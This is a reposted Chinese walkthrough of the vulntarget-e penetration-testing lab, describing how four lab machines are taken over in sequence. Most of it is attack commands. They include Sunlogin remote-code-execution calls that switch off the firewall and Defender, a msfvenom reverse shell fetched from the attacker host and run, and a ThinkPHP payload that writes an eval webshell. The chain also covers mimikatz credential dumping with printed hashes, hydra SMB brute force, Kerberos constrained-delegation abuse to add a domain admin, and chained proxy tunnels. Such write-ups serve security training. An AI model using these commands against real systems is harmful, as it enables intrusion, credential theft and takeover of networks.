vulntarget-e WP

Posted manic00y

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulntarget-e WP相关的知识,希望对你有一定的参考价值。

1.信息收集

使用nmap对外网主机进行端口扫描,可以看到一个5985端口,未知端口49773存在未知服务。如图1.1

nmap -sC -sV -p- 192.168.111.137 -n -vv --min-rate=2000

图1.1

对端口进行访问,没有获取到有用的信息,如图1.2

 

图1.2

对49773端口进行目录扫描。如图1.3

dirsearch -u http://192.168.111.137:49773

图1.3

对扫出来的路径逐一访问其他目录都跳转到图1.2界面,除了transfer目录,但是没有获取到有用的信息。如图1.4

图1.4

仅凭这点信息判断不出来啥,于是思路转向扫指纹信息。使用obser_ward_amd64探测,探测出来指纹信息为sunlogin,是向日葵服务。如图1.5

./observer_ward -t 192.168.111.137:49773

图1.5

使用向日葵RCE进行探测,发现命令可以执行,存在向日癸命令执行漏洞。如图1.6

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "whoami"

图1.6

通过命令执行漏洞,对外部主机进行信息收集。如图1.7-1.8

./sunRce -t rce -h 192.168.111.137 -p 49773 -c pwd

图1.7

./sunRce -t rce -h 192.168.111.137 -p 49773 -c "net user"

图1.8

通过信息收集,发现有一个100网段的内网地址。如图1.9

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "ipconfig"

图1.9

查看防火墙状态,是启用状态。如图1.10

./sunRce -h 192.168.111.137 -t rce -p 49773 -c " netsh advfirewall show allprofile state"

图1.10

关闭所有防火墙,执行成功。如图1.11

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "netsh advfirewall set allprofiles state off"

图1.11

再次进行端口扫描发现,原来扫不到445等端口现在可以扫出来了,说明防火墙已经成功关闭掉了。如图1.12

nmap -sC -sV -p- 192.168.111.137 -n -vv --min-rate=2000

如图1.12

因为向日葵是system的权限,所以可以关闭waf。如图1.13

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "set-MpPreference -DisableRealtimeMonitoring $true"

图1.13

因为通过向日葵漏洞上传的木马文件被windows Defender杀掉,所以我们使用PowerShell执行策略绕过。如图1.14

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \\"C:\\Users\\Administrator\\""

图1.14

2.外网主机上线

使用msfvenom生成木马。如图2.1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=8888 -f exe > a.exe

图2.1

在攻击机打开监听,将木马上传到外网主机中。 如图2.2-2.3

python3 -m http.server 81

图2.2

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.111.130:81/a.exe','C:\\Users\\Administrator\\a.exe')"

如图2.3

去Users\\Administrator目录下查看文件是否上传成功,文件存在,上传成功。如图2.4

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "cd C:\\Users\\Administrator;dir"

图2.4

用msf上线目标主机,进入msf开启反向监听。如图2.5

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.111.130

set lport 8888

图2.5

使用向日葵漏洞执行命令,执行成功可以看到已经得到了外网主机的session。如图2.6-2.7

./sunRce -h 192.168.111.137 -t rce -p 49773 -c "start C:\\Users\\Administrator\\a.exe"

图2.6

图2.7

现在已经得到了外网主机,ps获取目标机正在运行的进程。如图2.8

图2.8

为了避免渗透被发现,迁移到一个稳定的进程中。如图2.9

图2.9

查看主机是否在域中,发现没有在域中。如图2.10

图2.10

对外网主机进行信息收集,发现桌面有一个“需要测试的地址.txt”文,下载下来。如图2.11-2.12

图2.11

图2.12

查看文件里面是一些域名,暂且放着,目前不知道有什么用处。如图2.13

图2.13

使用meterpreter读取一下本地的密码。lsadump::sam来获取sam数据库中的密码。SAM数据库中包含所有组、帐户的信息,包括密码HASH、帐户的SID等。如图2.14

load kiwi

kiwi_cmd lsadump::sam

图2.14

使用在线MD5在线加解密解一下,得到明文。如图2.15-2.16

Administrator    388f586516a4cba963b4181363b44034 

ash         96783bb69c00614e88f7d4688623c83a

图2.15

图2.16

图1.9中有一条100网段的地址,现在在meterpreter中添加一个通往192.168.100.0/24网段的路由,并查看。如图2.17

run autoroute -s 192.168.100.0/24

run autoroute -p

图2.17

使用arp探测下一层主机的ip(100网段ip),发现192.169.100.131地址。如图2.18

图2.18

为了方便后面的操作,把外网主机的3389端口打开。如图2.19

图2.19

使用上面收集到的密码,进行Windows远程登录。如图2.20

3.上线第二台主机

为了对内网100.131主机进行探测,在外网主机上传ew代理工具。因为我们已经有远程控制所以直接复制粘贴。然后搭建一级代理。如图3.1

ew.exe -s ssocksd -l 3080 -t 1000000

图3.1

在kali中编辑本地的proxychains程序配置文件vim /etc/proxychains4.conf。如图3.2

图3.2

对100.131主机进行信息收集,扫端口,发现22、80、8888端口。如图3.3

proxychains4 nmap -Pn -T4 -sT -p- 192.168.100.131

图3.3

在浏览器上编辑代理插件,地址填写运行ew程序的主机地址,端口写通过ew程序开的端口。如图3.4

图3.4

对80和8888端口进行访问,80端口存在nginx服务但报400错误,8888端口发现宝塔面板。如图3.5-3.6

图3.5

图3.6

想扫80端口的目录,没有成功。如图3.7

dirsearch -u http://192.168.100.131/ --proxy socks5://192.168.111.137:3080

图3.7

所以换了一种方式找目录。查看外网主机浏览器的历史记录。在meterpreter中下载浏览器历史记录。如图3.8

run post/windows/gather/forensics/browser_history

图3.8

去/root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlite找到文件,并用SQLite打开。如图3.9

图3.9

使用SELECT url FROM moz_places查找。成功找到了2条关于100.131的历史记录。如图3.10

http://192.168.100.131/vulntarget/thinkphp

http://192.168.100.131/vulntarget/public/index.php

图3.10

对找到的地址挨个访问,但都是400。如图3.11

图3.11

根据返回的400和图2.13发现的域名地址,进行HOSTS碰撞。成功发现100.131服务对应域名地址www.cJO6w10YLS.com。如图3.12

注:在渗透测试中,搜集了很多IP资产,端口也开放了WEB服务,但打开总是403 404 400错误,扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击。

proxychains4 python3 ip_hosts_scan_multithreading.py

图3.12

使用Modheader插件修改host头,并再次访问80端口,访问成功,但只是简单的静态页面。如图3.13-3.14

图3.13

图3.14

访问图3.10收集到的路径,打开是一个thinkphp的网站,使其报错,可以看到ThinkPHP的版本号,然后根据版本号寻找漏洞POC。如图3.15

图3.15

尝试了使用phpinfo会被宝塔面板拦截,直接使用file_put_contents写入文件。这里的../../是因为当前目录不可写,所以需要目录穿越找到可写目录,访问一下url.php文件,结果显示表示写入成功。如图3.16-3.17

http://192.168.100.131/vulntarget/public/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>

图3.16

图3.17

使用蚁剑连接,因为POC是3次url编码,还需要编写蚁剑的编码规则。如图3.18

图3.18

对蚁剑进行基础配置,编码器选择图3.18加入的编码规则,加入host信息,配置代理.如图3.19-3.22

图3.19                                                   

 图3.20

图3.21    

                                               

图3.22

测试连接,连接成功。如图3.23

 

图3.23

蚁剑中命令不可以执行,目录可以查看。如图3.24

图3.24

使用php7-gc-bypass绕过disable_function并执行系统命令,对100.131进行信息收集。通过蚁剑上传php文件到WEB服务目录下。如图3.25

图3.25

访问该文件,文件中的uname -a命令被执行,可以看到100.131是Ubuntu18.04。(替换文件中的命令查询其他信息。)如图3.26

图3.26

蚁剑中,在home/vulntarget下发现了个key文件,并下载到kali中。如图3.27

图3.27

使用ssh私钥进行登录,Ubuntu拿下。如图3.28

proxychains4 ssh -i key 192.168.100.131

图3.28

查看ip,还有一个192.168.88.100的网卡,可能88网段中还有其他主机。如图3.29

图3.29

关闭防火墙,使用arp探测下一层主机的ip(88网段ip),发现192.169.88.102地址。如图3.30

图3.30

4、上线第三台主机

为了使kali访问到第三台主机,所以要搭建二级代理。将 2080 端口收到的 socks 代理请求转交给 192.168.100.131 的主机。如图4.1

ew.exe -s lcx_tran -l 2080 -f 192.168.100.131 -g 9999

图4.1

在kali中编辑本地的proxychains程序配置文件vim /etc/proxychains4.conf。如图4.2

图4.2

通过ssh上传ew到第二台主机Ubuntu。如图4.3

proxychains scp -r -i key /root/ew_for_linux64 root@192.168.100.131:/root/ew_for_linux64

图4.3

在第二台主机Ubuntu上利用 ssocksd 方式启动 9999 端口的 socks 代理。如图4.4

./ew_for_linux64 -s ssocksd -l 9999

图4.4

对第三台主机信息收集,爆破88.102主机的端口,发现一个445。如图4.5

proxychains nmap -Pn -sT -p1-65535 192.168.88.102

图4.5

存在445端口,可以使用九头蛇hydra工具爆破一下主机账号密码。爆破出账号:administrator,密码:admin@123。如图4.6

proxychains hydra -L name.txt -P password.txt 192.168.88.102 smb

图4.6

使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第三台主机。如图4.7

proxychains python3 wmiexec.py administrator@192.168.88.102

图4.7

查看IP地址。发现还有10.0.10网段的网卡,猜测内网还有主机存在。如图4.8

图4.8

使用arp探测下一层主机的ip,发现10.0.10.10地址。如图4.9

图4.9

systeminfo显示关于计算机及其操作系统的详细配置信息,发现第三台主机在域环境中。如图4.10

图4.10

为了方便操作远程登录。关闭第三台主机防火墙,netstat -ano查看一下3389端口是否开启,没有开启。如图4.11

netsh advfirewall set allprofiles state off

图4.11

使用下面的命令打开3389端口,再查看一下,端口已打开。如图4.12

REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

图4.12

为了使物理机能够访问到内网第三台主机,配置一下物理机proxifier全局代理工具。如图4.13-4.14

 

图4.13                                                   

图4.14

物理机远程连接88.102。如图4.15

图4.15

通过远程连接粘贴复制上传猕猴桃,收集信息。收集到账号:win2008,密码:qweASD123。如图4.16

#提升权限

privilege::debug

#抓取密码

sekurlsa::logonpasswords

图4.16

5.上线第四台主机

查找约束性委派主机,可以发现第三台主机win2008对第四台主机10.10的CIFS服务存在约束委派。如图5.1

AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123  -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

图5.1

用kekeo请求win2008的TGT。

tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi

伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。

tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

如图5.2

图5.2

利用mimikatz导入S4U2proxy阶段生成的ST。如图5.3

kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

图5.3

dir访问一下10.10主机(需要注意的是,导入一次ST执行一次命令)。如图5.4

dir \\WIN-1PV25H8UJPN.vulntarget.com\\C$

图5.4

net user添加一个域用户,然后加入到域管理员中。并查看是否创建,创建成功。如图5.5-5.7

图5.5

图5.6

图5.7

为了让kali访问到第四台10.10主机,挂三级代理。如图5.8-5.10

外网主机3777端口接收来自攻击机流量,7779接收来自3777端口流量:ew.exe -s lcx_listen -l 3777 -e 7779 -t 1000000

图5.8

第二台Ubuntu的7779端口获取外网主机7779端口的流量,3999端口接收7779端口的流量:./ew_for_linux64 -s lcx_slave -d 192.168.100.155 -e 7779 -f 192.168.88.102 -g 3999 -t 1000000

图5.9

第三台主机代理了来自3999端口的流量:ew.exe -s ssocksd -l 3999 -t 1000000

图5.10

使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第四台主机。如图5.11

proxychains python3 wmiexec.py admin:123.com@10.0.10.10

图5.11

查看一下IP,为10.0.10.10。至此四台靶机全部上线。如图5.12

图5.12

此文章的诞生过程极其艰辛,借助网上WP和我哥的帮助完成。写的不好请轻点喷,要脸嘿嘿

css 重置WP #WP #reset #basic样式

html, body, p {
	font-family: '', serif;
	font-style: normal;
	font-weight: normal;
	letter-spacing: em;
}

body, p {
    font-size: 17px;
	letter-spacing: em;
}

blockquote p {
	font-family: '', serif;
	font-style: normal;
	font-weight: normal;
	letter-spacing: em;
}

li, li a, label, input, .submit, .comment-form, .button, .textwidget {
	font-family: '', sans-serif;
	font-style: normal;
	font-weight: normal;
	letter-spacing: em;
}

h1, h2, h3, h4, h5, h6, .widget-title {
	font-family: '', sans-serif;
	font-style: normal;
	font-weight: normal;
	letter-spacing: em;
}

以上是关于vulntarget-e WP的主要内容,如果未能解决你的问题,请参考以下文章

text WP安全htaccess

安全wp-配置.php

markdown wp安全管理员

安全-2021羊城杯WP(部分)

广东省第四届“强网杯”网络安全大赛(“泄露的秘密WP”)

广东省第四届“强网杯”网络安全大赛(“泄露的秘密WP”)